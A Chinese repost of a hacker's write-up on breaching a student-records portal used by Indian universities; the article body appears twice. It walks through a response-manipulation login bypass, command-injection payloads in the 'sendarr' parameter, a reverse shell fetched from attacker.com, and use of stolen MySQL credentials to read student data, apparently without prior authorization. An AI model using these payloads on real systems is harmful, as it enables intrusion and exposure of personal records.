国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

news2024/10/24 16:15:43

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

图片

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

图片

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

图片

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

图片

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

图片

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

图片

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

图片

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

图片

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

图片

图片

图片

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

图片

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

图片

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

图片

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

图片

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

图片

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

图片

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

图片

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

图片

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

图片

图片

图片

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

无偿获取网安学习资料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2222525.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JavaEE】——四次挥手,TCP状态转换,滑动窗口,流量控制

阿华代码,不是逆风,就是我疯 你们的点赞收藏是我前进最大的动力!! 希望本文内容能够帮助到你!! 目录 一:断开连接的本质 二:四次挥手 1:FIN 2:过程梳理 …

MacOS RocketMQ安装

MacOS RocketMQ安装 文章目录 MacOS RocketMQ安装一、下载二、安装修改JVM参数启动关闭测试关闭测试测试收发消息运行自带的生产者测试类运行自带的消费者测试类参考博客:https://blog.csdn.net/zhiyikeji/article/details/140911649 一、下载 打开官网,…

华为云容器引擎(CCE):赋能企业云原生转型

在当今数字化时代,企业面临着日益复杂的应用部署和管理挑战。为了解决这些问题,容器技术应运而生,成为云原生架构的核心。华为云容器引擎(CCE)作为一款全面的容器管理解决方案,旨在帮助企业实现高效、灵活的…

Linux终端之旅: 打包和压缩

在 Linux 世界中,打包和压缩文件是管理系统资源、传输数据和备份的重要技能。通过命令行工具如 tar、gzip、zip 等,我们可以高效地将多个文件或目录打包为一个文件,并通过压缩减少其体积。接下来,我将记录学习如何利用这些工具&am…

SpringBoot3响应式编程全套-Spring Security Reactive

目录 传送门前言一、整合二、开发1、应用安全2、RBAC权限模型 三、认证1、静态资源放行2、其他请求需要登录 四、授权 传送门 SpringMVC的源码解析(精品) Spring6的源码解析(精品) SpringBoot3框架(精品) …

云+AI 时代的 OceanBase

2024 年 10 月 23 日,OceanBase 年度发布会在北京成功举办。会上,CEO 杨冰表示,OceanBase将继续践行一体化产品战略,不断演进产品能力,从支撑关键业务负载的OLTP能力,到实时分析的AP能力,再到应…

Unity Apple Vision Pro 保姆级开发教程 - Simulator 模拟器使用

教程视频 Apple VisionPro Simulator 模拟器使用教程 Unity Vision Pro 中文课堂教程地址: Unity3D Vision Pro 开发教程【保姆级】 | Unity 中文课堂 ​ VsionOS Simulator 简介 visionOS Simulator 是一个用于开发和测试 visionOS 应用程序的工具。它模拟 Appl…

Return code 0x40450037 (Not a valid nxos image)

1.问题描述 硬件:C93180YC(Nexus NXOS) 软件版本:Release 9.3.8 需要描述:需要将Nexus93180从Release 9.3.8升级到10.3.6(M),在执行操作的时候,发现如下问题&#xff…

从0到1学习node.js(npm)

文章目录 一、NPM的生产环境与开发环境二、全局安装三、npm安装指定版本的包四、删除包 五、用npm发布一个包六、修改和删除npm包1、修改2、删除 一、NPM的生产环境与开发环境 类型命令补充生产依赖npm i -S uniq-S 等效于 --save -S是默认选项npm i -save uniq包的信息保存在…

[实时计算flink]基于Paimon的数据库实时入湖快速入门

Apache Paimon是一种流批统一的湖存储格式,支持高吞吐的写入和低延迟的查询。本文通过Paimon Catalog和MySQL连接器,将云数据库RDS中的订单数据和表结构变更导入Paimon表中,并使用Flink对Paimon表进行简单分析。 背景信息 Apache Paimon是一…

Elasticsearch如何搜索日志并存储

Elasticsearch 是一个分布式搜索引擎,擅长对大量数据进行实时的搜索、分析和存储。它常被用于处理日志数据,配合工具如 Logstash 或 Filebeat 来收集和存储日志,并提供强大的搜索和分析能力。接下来,我将解释 Elasticsearch 如何处…

8年经验之谈 —— 如何使用自动化工具编写测试用例?

以下为作者观点,仅供参考: 在快速变化的软件开发领域,保证应用程序的可靠性和质量至关重要。随着应用程序复杂性和规模的不断增加,仅手动测试 无法满足行业需求。 这就是测试自动化发挥作用的地方,它使软件测试人员…

NVR小程序接入平台/设备EasyNVR多个NVR同时管理的高效解决方案

在当今的数字化安防时代,视频监控系统的需求日益复杂和多样化。为了满足不同场景下的监控需求,一种高效、灵活且兼容性强的安防视频监控平台——NVR批量管理软件/平台EasyNVR应运而生。本篇探讨这一融合所带来的创新与发展。 一、NVR监测软件/设备EasyNV…

【设计模式】MyBatis 与经典设计模式:从ORM到设计的智慧

作者:后端小肥肠 🍇 我写过的文章中的相关代码放到了gitee,地址:xfc-fdw-cloud: 公共解决方案 🍊 有疑问可私信或评论区联系我。 🥑 创作不易未经允许严禁转载。 姊妹篇: 【设计模式】揭秘Spri…

vue2 el-select赋值无效(无法选中)

背景:点击添加明细时,el-table会新增一条数据,其中,存货原申购用途 会根据 费用承担事业部 下拉框的值改变而改变,所以每次费用承担事业部发生变化时,都需要清空存货原申购用途的值 最开始是直接这样写的&a…

D. Deleting Divisors

传送门:Problem - D - Codeforces 题意: 思路:博弈论 打表找规律( 递推 ) 如果 ans[i] 为 true ,则 Alice 能赢 ans[i] 为 false,则 Bob 会赢 数字 n 的一个因子 为 x , 如果 …

【简历】25届浙江某211大学JAVA简历:明明项目有货,但是长篇大论减分!!

注:为保证用户信息安全,姓名和学校等信息已经进行同层次变更,内容部分细节也进行了部分隐藏 另外:我们出这一系列校招简历指导的原因,就是看很多学生被忽悠,没有先定位大厂、中厂还是小公司,导…

【日志】力扣刷题——买卖股票的最佳时机 // Unity——添加数据表文件、EPPlus插件以及编辑器开发生成Excel转Json代码文件复习

2024.10.17 【力扣刷题】 两题连一起,思路很像 121. 买卖股票的最佳时机 - 力扣(LeetCode) 122. 买卖股票的最佳时机 II - 力扣(LeetCode) 121. 买卖股票的最佳时机 按照顺序查找,找到最大的差值时&#x…

Prompt-Tuning方法学习

文章目录 一、背景1.1 Pre-training1.2 Fine-Tuning1.3 高效微调(SOTA PEFT)1.4 基于强化学习的进阶微调方法(RLHF) 二、Prompt-Tuning技术2.1 发展历程2.2 Prompt模板构建方式 三、基于连续提示的Prompt Tuning四、Q&A 一、背…

【升华】一文从0到1到实际性应用大语言模型(LLM)

一、前言 相信网已经很多LLM大模型 的介绍 ,概念,发展历史,应用场景的很多文章,但是很多文章都是缺少细节的描述,到底怎么用,需要些什么东西怎么层显出来。所以虽然看了很多大模型的介绍,也仅仅…